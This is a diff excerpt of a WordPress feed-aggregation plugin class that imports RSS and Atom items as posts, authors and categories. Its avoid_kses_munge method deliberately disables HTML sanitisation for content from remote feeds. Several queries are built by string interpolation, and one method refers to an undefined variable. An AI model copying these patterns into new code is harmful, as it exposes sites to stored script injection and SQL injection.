+			endif;
+
+			if (isset($this->feed->channel['link'])) :
+				$this->post['meta']['syndication_source_uri'] = apply_filters('syndicated_item_source_link', $this->feed->channel['link'], $this);
+			endif;
+			
+			// Make use of atom:source data, if present in an aggregated feed
+			if (isset($this->item['source_title'])) :
+				$this->post['meta']['syndication_source_original'] = $this->item['source_title'];
+			endif;
+
+			if (isset($this->item['source_link'])) :
+				$this->post['meta']['syndication_source_uri_original'] = $this->item['source_link'];
+			endif;
+			
+			if (isset($this->item['source_id'])) :
+				$this->post['meta']['syndication_source_id_original'] = $this->item['source_id'];
+			endif;
+
+			// Store information on human-readable and machine-readable comment URIs
+			if (isset($this->item['comments'])) :
+				$this->post['meta']['rss:comments'] = apply_filters('syndicated_item_comments', $this->item['comments']);
+			endif;
+			if (isset($this->item['wfw']['commentrss'])) :
+				$this->post['meta']['wfw:commentRSS'] = apply_filters('syndicated_item_commentrss', $this->item['wfw']['commentrss']);
+			endif;
+
+			// Store information to identify the feed that this came from
+			$this->post['meta']['syndication_feed'] = $this->feedmeta['link/uri'];
+			$this->post['meta']['syndication_feed_id'] = $this->feedmeta['link/id'];
+
+			if (isset($this->item['source_link_self'])) :
+				$this->post['meta']['syndication_feed_original'] = $this->item['source_link_self'];
+			endif;
+
+			// In case you want to know the external permalink...
+			$this->post['meta']['syndication_permalink'] = apply_filters('syndicated_item_link', $this->item['link']);
+
+			// Store a hash of the post content for checking whether something needs to be updated
+			$this->post['meta']['syndication_item_hash'] = $this->update_hash();
+
+			// Feed-by-feed options for author and category creation
+			$this->post['named']['unfamiliar']['author'] = (isset($this->feedmeta['unfamiliar author']) ? $this->feedmeta['unfamiliar author'] : null);
+			$this->post['named']['unfamiliar']['category'] = (isset($this->feedmeta['unfamiliar category']) ? $this->feedmeta['unfamiliar category'] : null);
+
+			// Categories: start with default categories, if any
+			$fc = get_option("feedwordpress_syndication_cats");
+			if ($fc) :
+				$this->post['named']['preset/category'] = explode("\n", $fc);
+			else :
+				$this->post['named']['preset/category'] = array();
+			endif;
+
+			if (isset($this->feedmeta['cats']) and is_array($this->feedmeta['cats'])) :
+				$this->post['named']['preset/category'] = array_merge($this->post['named']['preset/category'], $this->feedmeta['cats']);
+			endif;
+
+			// Now add categories from the post, if we have 'em
+			$this->post['named']['category'] = array();
+			if ( isset($this->item['category#']) ) :
+				for ($i = 1; $i <= $this->item['category#']; $i++) :
+					$cat_idx = (($i > 1) ? "#{$i}" : "");
+					$cat = $this->item["category{$cat_idx}"];
+
+					if ( isset($this->feedmeta['cat_split']) and strlen($this->feedmeta['cat_split']) > 0) :
+						$pcre = "\007".$this->feedmeta['cat_split']."\007";
+						$this->post['named']['category'] = array_merge($this->post['named']['category'], preg_split($pcre, $cat, -1 /*=no limit*/, PREG_SPLIT_NO_EMPTY));
+					else :
+						$this->post['named']['category'][] = $cat;
+					endif;
+				endfor;
+			endif;
+			$this->post['named']['category'] = apply_filters('syndicated_item_categories', $this->post['named']['category'], $this);
+			
+			// Tags: start with default tags, if any
+			$ft = get_option("feedwordpress_syndication_tags");
+			if ($ft) :
+				$this->post['tags_input'] = explode(FEEDWORDPRESS_CAT_SEPARATOR, $ft);
+			else :
+				$this->post['tags_input'] = array();
+			endif;
+			
+			if (isset($this->feedmeta['tags']) and is_array($this->feedmeta['tags'])) :
+				$this->post['tags_input'] = array_merge($this->post['tags_input'], $this->feedmeta['tags']);
+			endif;
+
+		endif;
+	} // SyndicatedPost::SyndicatedPost()
+
+	function filtered () {
+		return is_null($this->post);
+	}
+
+	function freshness () {
+		global $wpdb;
+
+		if ($this->filtered()) : // This should never happen.
+			FeedWordPress::critical_bug('SyndicatedPost', $this, __LINE__);
+		endif;
+		
+		if (is_null($this->_freshness)) :
+			$guid = $wpdb->escape($this->guid());
+
+			$result = $wpdb->get_row("
+			SELECT id, guid, post_modified_gmt
+			FROM $wpdb->posts WHERE guid='$guid'
+			");
+
+			if (!$result) :
+				$this->_freshness = 2; // New content
+			else:
+				$stored_update_hashes = get_post_custom_values('syndication_item_hash', $result->id);
+				if (count($stored_update_hashes) > 0) :
+					$stored_update_hash = $stored_update_hashes[0];
+					$update_hash_changed = ($stored_update_hash != $this->update_hash());
+				else :
+					$update_hash_changed = false;
+				endif;
+
+				preg_match('/([0-9]+)-([0-9]+)-([0-9]+) ([0-9]+):([0-9]+):([0-9]+)/', $result->post_modified_gmt, $backref);
+
+				$last_rev_ts = gmmktime($backref[4], $backref[5], $backref[6], $backref[2], $backref[3], $backref[1]);
+				$updated_ts = $this->updated(/*fallback=*/ true, /*default=*/ NULL);
+				$updated = ((
+					!is_null($updated_ts)
+					and ($updated_ts > $last_rev_ts)
+				) or $update_hash_changed);
+
+				if ($updated) :
+					$this->_freshness = 1; // Updated content
+					$this->_wp_id = $result->id;
+				else :
+					$this->_freshness = 0; // Same old, same old
+					$this->_wp_id = $result->id;
+				endif;
+			endif;
+		endif;
+		return $this->_freshness;
+	}
+
+	function wp_id () {
+		if ($this->filtered()) : // This should never happen.
+			FeedWordPress::critical_bug('SyndicatedPost', $this, __LINE__);
+		endif;
+		
+		if (is_null($this->_wp_id) and is_null($this->_freshness)) :
+			$fresh = $this->freshness(); // sets WP DB id in the process
+		endif;
+		return $this->_wp_id;
+	}
+
+	function store () {
+		global $wpdb;
+
+		if ($this->filtered()) : // This should never happen.
+			FeedWordPress::critical_bug('SyndicatedPost', $this, __LINE__);
+		endif;
+		
+		$freshness = $this->freshness();
+		if ($freshness > 0) :
+			# -- Look up, or create, numeric ID for author
+			$this->post['post_author'] = $this->author_id (
+				FeedWordPress::on_unfamiliar('author', $this->post['named']['unfamiliar']['author'])
+			);
+
+			if (is_null($this->post['post_author'])) :
+				$this->post = NULL;
+			endif;
+		endif;
+		
+		if (!$this->filtered() and $freshness > 0) :
+			# -- Look up, or create, numeric ID for categories
+			list($pcats, $ptags) = $this->category_ids (
+				$this->post['named']['category'],
+				FeedWordPress::on_unfamiliar('category', $this->post['named']['unfamiliar']['category']),
+				/*tags_too=*/ true
+			);
+
+			$this->post['post_category'] = $pcats;
+			$this->post['tags_input'] = array_merge($this->post['tags_input'], $ptags);
+
+			if (is_null($this->post['post_category'])) :
+				// filter mode on, no matching categories; drop the post
+				$this->post = NULL;
+			else :
+				// filter mode off or at least one match; now add on the feed and global presets
+				$this->post['post_category'] = array_merge (
+					$this->post['post_category'],
+					$this->category_ids (
+						$this->post['named']['preset/category'],
+						'default'
+					)
+				);
+
+				if (count($this->post['post_category']) < 1) :
+					$this->post['post_category'][] = 1; // Default to category 1 ("Uncategorized" / "General") if nothing else
+				endif;
+			endif;
+		endif;
+		
+		if (!$this->filtered() and $freshness > 0) :
+			unset($this->post['named']);
+			$this->post = apply_filters('syndicated_post', $this->post, $this);
+		endif;
+		
+		if (!$this->filtered() and $freshness == 2) :
+			// The item has not yet been added. So let's add it.
+			$this->insert_new();
+			$this->add_rss_meta();
+			do_action('post_syndicated_item', $this->wp_id());
+
+			$ret = 'new';
+		elseif (!$this->filtered() and $freshness == 1) :
+			$this->post['ID'] = $this->wp_id();
+			$this->update_existing();
+			$this->add_rss_meta();
+			do_action('update_syndicated_item', $this->wp_id());
+
+			$ret = 'updated';			
+		else :
+			$ret = false;
+		endif;
+		
+		return $ret;
+	} // function SyndicatedPost::store ()
+	
+	function insert_new () {
+		global $wpdb, $wp_db_version;
+
+		$dbpost = $this->normalize_post(/*new=*/ true);
+		if (!is_null($dbpost)) :
+			if ($this->use_api('wp_insert_post')) :
+				$dbpost['post_pingback'] = false; // Tell WP 2.1 and 2.2 not to process for pingbacks
+	
+				// This is a ridiculous fucking kludge necessitated by WordPress 2.6 munging authorship meta-data
+				add_action('_wp_put_post_revision', array($this, 'fix_revision_meta'));
+				
+				// Kludge to prevent kses filters from stripping the
+				// content of posts when updating without a logged in
+				// user who has `unfiltered_html` capability.
+				add_filter('content_save_pre', array($this, 'avoid_kses_munge'), 11);
+				
+				$this->_wp_id = wp_insert_post($dbpost);
+	
+				// Turn off ridiculous fucking kludges #1 and #2
+				remove_action('_wp_put_post_revision', array($this, 'fix_revision_meta'));
+				remove_filter('content_save_pre', array($this, 'avoid_kses_munge'), 11);
+	
+				$this->validate_post_id($dbpost, array(__CLASS__, __FUNCTION__));
+	
+				// Unfortunately, as of WordPress 2.3, wp_insert_post()
+				// *still* offers no way to use a guid of your choice,
+				// and munges your post modified timestamp, too.
+				$result = $wpdb->query("
+					UPDATE $wpdb->posts
+					SET
+						guid='{$dbpost['guid']}',
+						post_modified='{$dbpost['post_modified']}',
+						post_modified_gmt='{$dbpost['post_modified_gmt']}'
+					WHERE ID='{$this->_wp_id}'
+				");
+			else :
+				# The right way to do this is the above. But, alas,
+				# in earlier versions of WordPress, wp_insert_post has
+				# too much behavior (mainly related to pings) that can't
+				# be overridden. In WordPress 1.5, it's enough of a
+				# resource hog to make PHP segfault after inserting
+				# 50-100 posts. This can get pretty annoying, especially
+				# if you are trying to update your feeds for the first
+				# time.
+	
+				$result = $wpdb->query("
+				INSERT INTO $wpdb->posts
+				SET
+					guid = '{$dbpost['guid']}',
+					post_author = '{$dbpost['post_author']}',
+					post_date = '{$dbpost['post_date']}',
+					post_date_gmt = '{$dbpost['post_date_gmt']}',
+					post_content = '{$dbpost['post_content']}',"
+					.(isset($dbpost['post_excerpt']) ? "post_excerpt = '{$dbpost['post_excerpt']}'," : "")."
+					post_title = '{$dbpost['post_title']}',
+					post_name = '{$dbpost['post_name']}',
+					post_modified = '{$dbpost['post_modified']}',
+					post_modified_gmt = '{$dbpost['post_modified_gmt']}',
+					comment_status = '{$dbpost['comment_status']}',
+					ping_status = '{$dbpost['ping_status']}',
+					post_status = '{$dbpost['post_status']}'
+				");
+				$this->_wp_id = $wpdb->insert_id;
+	
+				$this->validate_post_id($dbpost, array(__CLASS__, __FUNCTION__));
+	
+				// WordPress 1.5.x - 2.0.x
+				wp_set_post_cats('1', $this->wp_id(), $this->post['post_category']);
+		
+				// Since we are not going through official channels, we need to
+				// manually tell WordPress that we've published a new post.
+				// We need to make sure to do this in order for FeedWordPress
+				// to play well  with the staticize-reloaded plugin (something
+				// that a large aggregator website is going to *want* to be
+				// able to use).
+				do_action('publish_post', $this->_wp_id);
+			endif;
+		endif;
+	} /* SyndicatedPost::insert_new() */
+
+	function update_existing () {
+		global $wpdb;
+
+		// Why the fuck doesn't wp_insert_post already do this?
+		$dbpost = $this->normalize_post(/*new=*/ false);
+		if (!is_null($dbpost)) :
+			if ($this->use_api('wp_insert_post')) :
+				$dbpost['post_pingback'] = false; // Tell WP 2.1 and 2.2 not to process for pingbacks
+	
+				// This is a ridiculous fucking kludge necessitated by WordPress 2.6 munging authorship meta-data
+				add_action('_wp_put_post_revision', array($this, 'fix_revision_meta'));
+	
+				// Kludge to prevent kses filters from stripping the
+				// content of posts when updating without a logged in
+				// user who has `unfiltered_html` capability.
+				add_filter('content_save_pre', array($this, 'avoid_kses_munge'), 11);
+
+				// Don't munge status fields that the user may have reset manually
+				if (function_exists('get_post_field')) :
+					$doNotMunge = array('post_status', 'comment_status', 'ping_status');
+					foreach ($doNotMunge as $field) :
+						$dbpost[$field] = get_post_field($field, $this->wp_id());
+					endforeach;
+				endif;
+
+				$this->_wp_id = wp_insert_post($dbpost);
+	
+				// Turn off ridiculous fucking kludges #1 and #2
+				remove_action('_wp_put_post_revision', array($this, 'fix_revision_meta'));
+				remove_filter('content_save_pre', array($this, 'avoid_kses_munge'), 11);
+	
+				$this->validate_post_id($dbpost, array(__CLASS__, __FUNCTION__));
+	
+				// Unfortunately, as of WordPress 2.3, wp_insert_post()
+				// munges your post modified timestamp.
+				$result = $wpdb->query("
+					UPDATE $wpdb->posts
+					SET
+						post_modified='{$dbpost['post_modified']}',
+						post_modified_gmt='{$dbpost['post_modified_gmt']}'
+					WHERE ID='{$this->_wp_id}'
+				");
+			else :
+	
+				$result = $wpdb->query("
+				UPDATE $wpdb->posts
+				SET
+					post_author = '{$dbpost['post_author']}',
+					post_content = '{$dbpost['post_content']}',"
+					.(isset($dbpost['post_excerpt']) ? "post_excerpt = '{$dbpost['post_excerpt']}'," : "")."
+					post_title = '{$dbpost['post_title']}',
+					post_name = '{$dbpost['post_name']}',
+					post_modified = '{$dbpost['post_modified']}',
+					post_modified_gmt = '{$dbpost['post_modified_gmt']}'
+				WHERE guid='{$dbpost['guid']}'
+				");
+		
+				// WordPress 2.1.x and up
+				if (function_exists('wp_set_post_categories')) :
+					wp_set_post_categories($this->wp_id(), $this->post['post_category']);
+				// WordPress 1.5.x - 2.0.x
+				elseif (function_exists('wp_set_post_cats')) :
+					wp_set_post_cats('1', $this->wp_id(), $this->post['post_category']);
+				// This should never happen.
+				else :
+					FeedWordPress::critical_bug(__CLASS__.'::'.__FUNCTION.'(): no post categorizing function', array("dbpost" => $dbpost, "this" => $this), __LINE__);
+				endif;
+		
+				// Since we are not going through official channels, we need to
+				// manually tell WordPress that we've published a new post.
+				// We need to make sure to do this in order for FeedWordPress
+				// to play well  with the staticize-reloaded plugin (something
+				// that a large aggregator website is going to *want* to be
+				// able to use).
+				do_action('edit_post', $this->post['ID']);
+			endif;
+		endif;
+	} /* SyndicatedPost::update_existing() */
+
+	/**
+	 * SyndicatedPost::normalize_post()
+	 *
+	 * @param bool $new If true, this post is to be inserted anew. If false, it is an update of an existing post.
+	 * @return array A normalized representation of the post ready to be inserted into the database or sent to the WordPress API functions
+	 */
+	function normalize_post ($new = true) {
+		global $wpdb;
+
+		$out = array();
+
+		// Why the fuck doesn't wp_insert_post already do this?
+		foreach ($this->post as $key => $value) :
+			if (is_string($value)) :
+				$out[$key] = $wpdb->escape($value);
+			else :
+				$out[$key] = $value;
+			endif;
+		endforeach;
+
+		if (strlen($out['post_title'].$out['post_content'].$out['post_excerpt']) == 0) :
+			// FIXME: Option for filtering out empty posts
+		endif;
+		if (strlen($out['post_title'])==0) :
+			$offset = (int) get_option('gmt_offset') * 60 * 60;
+			$out['post_title'] =
+				$this->post['meta']['syndication_source']
+				.' '.gmdate('Y-m-d H:i:s', $this->published() + $offset);
+			// FIXME: Option for what to fill a blank title with...
+		endif;
+
+		return $out;
+	}
+
+	/**
+	 * SyndicatedPost::validate_post_id()
+	 *
+	 * @param array $dbpost An array representing the post we attempted to insert or update
+	 * @param mixed $ns A string or array representing the namespace (class, method) whence this method was called.
+	 */
+	function validate_post_id ($dbpost, $ns) {
+		if (is_array($ns)) : $ns = implode('::', $ns);
+		else : $ns = (string) $ns; endif;
+		
+		// This should never happen.
+		if (!is_numeric($this->_wp_id) or ($this->_wp_id == 0)) :
+			FeedWordPress::critical_bug(
+				/*name=*/ $ns.'::_wp_id',
+				/*var =*/ array(
+					"\$this->_wp_id" => $this->_wp_id,
+					"\$dbpost" => $dbpost,
+					"\$this" => $this
+				),
+				/*line # =*/ __LINE__
+			);
+		endif;
+	} /* SyndicatedPost::validate_post_id() */
+	
+	/**
+	 * SyndicatedPost::fix_revision_meta() - Fixes the way WP 2.6+ fucks up
+	 * meta-data (authorship, etc.) when storing revisions of an updated
+	 * syndicated post.
+	 *
+	 * In their infinite wisdom, the WordPress coders have made it completely
+	 * impossible for a plugin that uses wp_insert_post() to set certain
+	 * meta-data (such as the author) when you store an old revision of an
+	 * updated post. Instead, it uses the WordPress defaults (= currently
+	 * active user ID if the process is running with a user logged in, or
+	 * = #0 if there is no user logged in). This results in bogus authorship
+	 * data for revisions that are syndicated from off the feed, unless we
+	 * use a ridiculous kludge like this to end-run the munging of meta-data
+	 * by _wp_put_post_revision.
+	 *
+	 * @param int $revision_id The revision ID to fix up meta-data
+	 */
+	function fix_revision_meta ($revision_id) {
+		global $wpdb;
+		
+		$post_author = (int) $this->post['post_author'];
+		
+		$revision_id = (int) $revision_id;
+		$wpdb->query("
+		UPDATE $wpdb->posts
+		SET post_author={$this->post['post_author']}
+		WHERE post_type = 'revision' AND ID='$revision_id'
+		");
+	} /* SyndicatedPost::fix_revision_meta () */
+
+	/**
+	 * SyndicatedPost::avoid_kses_munge() -- If FeedWordPress is processing
+	 * an automatic update, that generally means that wp_insert_post() is
+	 * being called under the user credentials of whoever is viewing the
+	 * blog at the time -- usually meaning no user at all. But if WordPress
+	 * gets a wp_insert_post() when current_user_can('unfiltered_html') is
+	 * false, it will run the content of the post through a kses function
+	 * that strips out lots of HTML tags -- notably <object> and some others.
+	 * This causes problems for syndicating (for example) feeds that contain
+	 * YouTube videos. It also produces an unexpected asymmetry between
+	 * automatically-initiated updates and updates initiated manually from
+	 * the WordPress Dashboard (which are usually initiated under the
+	 * credentials of a logged-in admin, and so don't get run through the
+	 * kses function). So, to avoid the whole mess, what we do here is
+	 * just forcibly disable the kses munging for a single syndicated post,
+	 * by restoring the contents of the `post_content` field.
+	 *
+	 * @param string $content The content of the post, after other filters have gotten to it
+	 * @return string The original content of the post, before other filters had a chance to munge it.
+	 */
+	 function avoid_kses_munge ($content) {
+		 global $wpdb;
+		 return $wpdb->escape($this->post['post_content']);
+	 }
+	 
+	// SyndicatedPost::add_rss_meta: adds interesting meta-data to each entry
+	// using the space for custom keys. The set of keys and values to add is
+	// specified by the keys and values of $post['meta']. This is used to
+	// store anything that the WordPress user might want to access from a
+	// template concerning the post's original source that isn't provided
+	// for by standard WP meta-data (i.e., any interesting data about the
+	// syndicated post other than author, title, timestamp, categories, and
+	// guid). It's also used to hook into WordPress's support for
+	// enclosures.
+	function add_rss_meta () {
+		global $wpdb;
+		if ( is_array($this->post) and isset($this->post['meta']) and is_array($this->post['meta']) ) :
+			$postId = $this->wp_id();
+			
+			// Aggregated posts should NOT send out pingbacks.
+			// WordPress 2.1-2.2 claim you can tell them not to
+			// using $post_pingback, but they don't listen, so we
+			// make sure here.
+			$result = $wpdb->query("
+			DELETE FROM $wpdb->postmeta
+			WHERE post_id='$postId' AND meta_key='_pingme'
+			");
+
+			foreach ( $this->post['meta'] as $key => $values ) :
+
+				$key = $wpdb->escape($key);
+
+				// If this is an update, clear out the old
+				// values to avoid duplication.
+				$result = $wpdb->query("
+				DELETE FROM $wpdb->postmeta
+				WHERE post_id='$postId' AND meta_key='$key'
+				");
+
+				// Allow for either a single value or an array
+				if (!is_array($values)) $values = array($values);
+				foreach ( $values as $value ) :
+					$value = $wpdb->escape($value);
+					$result = $wpdb->query("
+					INSERT INTO $wpdb->postmeta
+					SET
+						post_id='$postId',
+						meta_key='$key',
+						meta_value='$value'
+					");
+				endforeach;
+			endforeach;
+		endif;
+	} /* SyndicatedPost::add_rss_meta () */
+
+	// SyndicatedPost::author_id (): get the ID for an author name from
+	// the feed. Create the author if necessary.
+	function author_id ($unfamiliar_author = 'create') {
+		global $wpdb;
+
+		$a = $this->author();
+		$author = $a['name'];
+		$email = $a['email'];
+		$url = $a['uri'];
+
+		$match_author_by_email = !('yes' == get_option("feedwordpress_do_not_match_author_by_email"));
+		if ($match_author_by_email and !FeedWordPress::is_null_email($email)) :
+			$test_email = $email;
+		else :
+			$test_email = NULL;
+		endif;
+
+		// Never can be too careful...
+		$login = sanitize_user($author, /*strict=*/ true);
+		$login = apply_filters('pre_user_login', $login);
+
+		$nice_author = sanitize_title($author);
+		$nice_author = apply_filters('pre_user_nicename', $nice_author);
+
+		$reg_author = $wpdb->escape(preg_quote($author));
+		$author = $wpdb->escape($author);
+		$email = $wpdb->escape($email);
+		$test_email = $wpdb->escape($test_email);
+		$url = $wpdb->escape($url);
+
+		// Check for an existing author rule....
+		if (isset($this->link->settings['map authors']['name'][strtolower(trim($author))])) :
+			$author_rule = $this->link->settings['map authors']['name'][strtolower(trim($author))];
+		else :
+			$author_rule = NULL;
+		endif;
+
+		// User name is mapped to a particular author. If that author ID exists, use it.
+		if (is_numeric($author_rule) and get_userdata((int) $author_rule)) :
+			$id = (int) $author_rule;
+
+		// User name is filtered out
+		elseif ('filter' == $author_rule) :
+			$id = NULL;
+		
+		else :
+			// Check the database for an existing author record that might fit
+
+			#-- WordPress 2.0+
+			if (fwp_test_wp_version(FWP_SCHEMA_HAS_USERMETA)) :
+
+				// First try the user core data table.
+				$id = $wpdb->get_var(
+				"SELECT ID FROM $wpdb->users
+				WHERE
+					TRIM(LCASE(user_login)) = TRIM(LCASE('$login'))
+					OR (
+						LENGTH(TRIM(LCASE(user_email))) > 0
+						AND TRIM(LCASE(user_email)) = TRIM(LCASE('$test_email'))
+					)
+					OR TRIM(LCASE(user_nicename)) = TRIM(LCASE('$nice_author'))
+				");
+	
+				// If that fails, look for aliases in the user meta data table
+				if (is_null($id)) :
+					$id = $wpdb->get_var(
+					"SELECT user_id FROM $wpdb->usermeta
+					WHERE
+						(meta_key = 'description' AND TRIM(LCASE(meta_value)) = TRIM(LCASE('$author')))
+						OR (
+							meta_key = 'description'
+							AND TRIM(LCASE(meta_value))
+							RLIKE CONCAT(
+								'(^|\\n)a\\.?k\\.?a\\.?( |\\t)*:?( |\\t)*',
+								TRIM(LCASE('$reg_author')),
+								'( |\\t|\\r)*(\\n|\$)'
+							)
+						)
+					");
+				endif;
+
+			#-- WordPress 1.5.x
+			else :
+				$id = $wpdb->get_var(
+				"SELECT ID from $wpdb->users
+				 WHERE
+					TRIM(LCASE(user_login)) = TRIM(LCASE('$login')) OR
+					(
+						LENGTH(TRIM(LCASE(user_email))) > 0
+						AND TRIM(LCASE(user_email)) = TRIM(LCASE('$test_email'))
+					) OR
+					TRIM(LCASE(user_firstname)) = TRIM(LCASE('$author')) OR
+					TRIM(LCASE(user_nickname)) = TRIM(LCASE('$author')) OR
+					TRIM(LCASE(user_nicename)) = TRIM(LCASE('$nice_author')) OR
+					TRIM(LCASE(user_description)) = TRIM(LCASE('$author')) OR
+					(
+						LOWER(user_description)
+						RLIKE CONCAT(
+							'(^|\\n)a\\.?k\\.?a\\.?( |\\t)*:?( |\\t)*',
+							LCASE('$reg_author'),
+							'( |\\t|\\r)*(\\n|\$)'
+						)
+					)
+				");
+
+			endif;
+
+			// ... if you don't find one, then do what you need to do
+			if (is_null($id)) :
+				if ($unfamiliar_author === 'create') :
+					$userdata = array();
+
+					#-- user table data
+					$userdata['ID'] = NULL; // new user
+					$userdata['user_login'] = $login;
+					$userdata['user_nicename'] = $nice_author;
+					$userdata['user_pass'] = substr(md5(uniqid(microtime())), 0, 6); // just something random to lock it up
+					$userdata['user_email'] = $email;
+					$userdata['user_url'] = $url;
+					$userdata['display_name'] = $author;
+	
+					$id = wp_insert_user($userdata);
+				elseif (is_numeric($unfamiliar_author) and get_userdata((int) $unfamiliar_author)) :
+					$id = (int) $unfamiliar_author;
+				elseif ($unfamiliar_author === 'default') :
+					$id = 1;
+				endif;
+			endif;
+		endif;
+
+		if ($id) :
+			$this->link->settings['map authors']['name'][strtolower(trim($author))] = $id;
+		endif;
+		return $id;	
+	} // function SyndicatedPost::author_id ()
+
+	// look up (and create) category ids from a list of categories
+	function category_ids ($cats, $unfamiliar_category = 'create', $tags_too = false) {
+		global $wpdb;
+
+		// We need to normalize whitespace because (1) trailing
+		// whitespace can cause PHP and MySQL not to see eye to eye on
+		// VARCHAR comparisons for some versions of MySQL (cf.
+		// <http://dev.mysql.com/doc/mysql/en/char.html>), and (2)
+		// because I doubt most people want to make a semantic
+		// distinction between 'Computers' and 'Computers  '
+		$cats = array_map('trim', $cats);
+
+		$tags = array();
+
+		$cat_ids = array ();
+		foreach ($cats as $cat_name) :
+			if (preg_match('/^{#([0-9]+)}$/', $cat_name, $backref)) :
+				$cat_id = (int) $backref[1];
+				if (function_exists('is_term') and is_term($cat_id, 'category')) :
+					$cat_ids[] = $cat_id;
+				elseif (get_category($cat_id)) :
+					$cat_ids[] = $cat_id;
+				endif;
+			elseif (strlen($cat_name) > 0) :
+				$esc = $wpdb->escape($cat_name);
+				$resc = $wpdb->escape(preg_quote($cat_name));
+				
+				// WordPress 2.3+
+				if (function_exists('is_term')) :
+					$cat_id = is_term($cat_name, 'category');
+					if ($cat_id) :
+						$cat_ids[] = $cat_id['term_id'];
+					// There must be a better way to do this...
+					elseif ($results = $wpdb->get_results(
+						"SELECT	term_id
+						FROM $wpdb->term_taxonomy
+						WHERE
+							LOWER(description) RLIKE
+							CONCAT('(^|\\n)a\\.?k\\.?a\\.?( |\\t)*:?( |\\t)*', LOWER('{$resc}'), '( |\\t|\\r)*(\\n|\$)')"
+					)) :
+						foreach ($results AS $term) :
+							$cat_ids[] = (int) $term->term_id;
+						endforeach;
+					elseif ('tag'==$unfamiliar_category) :
+						$tags[] = $cat_name;
+					elseif ('create'===$unfamiliar_category) :
+						$term = wp_insert_term($cat_name, 'category');
+						if (is_wp_error($term)) :
+							FeedWordPress::noncritical_bug('term insertion problem', array('cat_name' => $cat_name, 'term' => $term, 'this' => $this), __LINE__);
+						else :
+							$cat_ids[] = $term['term_id'];
+						endif;
+					endif;
+				
+				// WordPress 1.5.x - 2.2.x
+				else :
+					$results = $wpdb->get_results(
+					"SELECT cat_ID
+					FROM $wpdb->categories
+					WHERE
+					  (LOWER(cat_name) = LOWER('$esc'))
+					  OR (LOWER(category_description)
+					  RLIKE CONCAT('(^|\\n)a\\.?k\\.?a\\.?( |\\t)*:?( |\\t)*', LOWER('{$resc}'), '( |\\t|\\r)*(\\n|\$)'))
+					");
+					if ($results) :
+						foreach  ($results as $term) :
+							$cat_ids[] = (int) $term->cat_ID;
+						endforeach;
+					elseif ('create'===$unfamiliar_category) :
+						if (function_exists('wp_insert_category')) :
+							$cat_id = wp_insert_category(array('cat_name' => $cat_name));
+						// And into the database we go.
+						else :
+							$nice_kitty = sanitize_title($cat_name);
+							$wpdb->query(sprintf("
+								INSERT INTO $wpdb->categories
+								SET
+								  cat_name='%s',
+								  category_nicename='%s'
+								", $wpdb->escape($cat_name), $nice_kitty
+							));
+							$cat_id = $wpdb->insert_id;
+						endif;
+						$cat_ids[] = $cat_id;
+					endif;
+				endif;
+			endif;
+		endforeach;
+
+		if ((count($cat_ids) == 0) and ($unfamiliar_category === 'filter')) :
+			$cat_ids = NULL; // Drop the post
+		else :
+			$cat_ids = array_unique($cat_ids);
+		endif;
+		
+		if ($tags_too) : $ret = array($cat_ids, $tags);
+		else : $ret = $cat_ids;
+		endif;
+
+		return $ret;
+	} // function SyndicatedPost::category_ids ()
+
+	function use_api ($tag) {
+		global $wp_db_version;
+		switch ($tag) :
+		case 'wp_insert_post':
+			// Before 2.2, wp_insert_post does too much of the wrong stuff to use it
+			// In 1.5 it was such a resource hog it would make PHP segfault on big updates
+			$ret = (isset($wp_db_version) and $wp_db_version > FWP_SCHEMA_21);
+			break;
+		case 'post_status_pending':
+			$ret = (isset($wp_db_version) and $wp_db_version > FWP_SCHEMA_23);
+			break;
+		endswitch;
+		return $ret;		
+	} // function SyndicatedPost::use_api ()
+
+	#### EXTRACT DATA FROM FEED ITEM ####
+
+	function created () {
+		$epoch = null;
+		if (isset($this->item['dc']['created'])) :
+			$epoch = @parse_w3cdtf($this->item['dc']['created']);
+		elseif (isset($this->item['dcterms']['created'])) :
+			$epoch = @parse_w3cdtf($this->item['dcterms']['created']);
+		elseif (isset($this->item['created'])): // Atom 0.3
+			$epoch = @parse_w3cdtf($this->item['created']);
+		endif;
+		return $epoch;
+	}
+	function published ($fallback = true) {
+		$epoch = null;
+
+		# RSS is a fucking mess. Figure out whether we have a date in
+		# <dc:date>, <issued>, <pubDate>, etc., and get it into Unix
+		# epoch format for reformatting. If we can't find anything,
+		# we'll use the last-updated time.
+		if (isset($this->item['dc']['date'])):				// Dublin Core
+			$epoch = @parse_w3cdtf($this->item['dc']['date']);
+		elseif (isset($this->item['dcterms']['issued'])) :		// Dublin Core extensions
+			$epoch = @parse_w3cdtf($this->item['dcterms']['issued']);
+		elseif (isset($this->item['published'])) : 			// Atom 1.0
+			$epoch = @parse_w3cdtf($this->item['published']);
+		elseif (isset($this->item['issued'])): 				// Atom 0.3
+			$epoch = @parse_w3cdtf($this->item['issued']);
+		elseif (isset($this->item['pubdate'])): 			// RSS 2.0
+			$epoch = strtotime($this->item['pubdate']);
+		elseif ($fallback) :						// Fall back to <updated> / <modified> if present
+			$epoch = $this->updated(/*fallback=*/ false);
+		endif;
+		
+		# If everything failed, then default to the current time.
+		if (is_null($epoch)) :
+			if (-1 == $default) :
+				$epoch = time();
+			else :
+				$epoch = $default;
+			endif;
+		endif;
+		
+		return $epoch;
+	}
+	function updated ($fallback = true, $default = -1) {
+		$epoch = null;
+
+		# As far as I know, only dcterms and Atom have reliable ways to
+		# specify when something was *modified* last. If neither is
+		# available, then we'll try to get the time of publication.
+		if (isset($this->item['dc']['modified'])) : 			// Not really correct
+			$epoch = @parse_w3cdtf($this->item['dc']['modified']);
+		elseif (isset($this->item['dcterms']['modified'])) :		// Dublin Core extensions
+			$epoch = @parse_w3cdtf($this->item['dcterms']['modified']);
+		elseif (isset($this->item['modified'])):			// Atom 0.3
+			$epoch = @parse_w3cdtf($this->item['modified']);
+		elseif (isset($this->item['updated'])):				// Atom 1.0
+			$epoch = @parse_w3cdtf($this->item['updated']);
+		elseif ($fallback) :						// Fall back to issued / dc:date
+			$epoch = $this->published(/*fallback=*/ false, /*default=*/ $default);
+		endif;
+		
+		# If everything failed, then default to the current time.
+		if (is_null($epoch)) :
+			if (-1 == $default) :
+				$epoch = time();
+			else :
+				$epoch = $default;
+			endif;
+		endif;
+
+		return $epoch;
+	}
+
+	function update_hash () {
+		return md5(serialize($this->item));
+	}
+
+	function guid () {
+		$guid = null;
+		if (isset($this->item['id'])): 			// Atom 0.3 / 1.0
+			$guid = $this->item['id'];
+		elseif (isset($this->item['atom']['id'])) :	// Namespaced Atom
+			$guid = $this->item['atom']['id'];
+		elseif (isset($this->item['guid'])) :		// RSS 2.0
+			$guid = $this->item['guid'];
